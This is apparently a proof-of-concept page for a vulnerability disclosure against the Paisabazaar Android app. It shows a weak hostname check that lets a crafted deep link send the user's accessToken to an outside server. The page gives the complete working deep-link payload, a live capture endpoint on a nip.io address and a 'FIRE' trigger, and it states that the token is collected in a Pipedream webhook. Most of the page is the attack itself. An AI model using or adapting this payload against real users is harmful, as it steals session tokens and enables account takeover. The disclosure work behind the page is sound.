PAISA-01 PoC
com.paisabazaar — weak first-party hostname check leaks accessToken as idf
Capture endpoint:
https://paisabazaar.156.67.30.223.nip.io/pb-static-check
Deep link fired:
paisabazaar://open/?redirectionProductType=28000&webUrl=https%3A%2F%2Fpaisabazaar.156.67.30.223.nip.io%2Fpb-static-check
FIRE — Open Paisabazaar App
After tapping, Paisabazaar opens and makes an HTTPS request to this server.
The idf (accessToken) appears in the Pipedream webhook.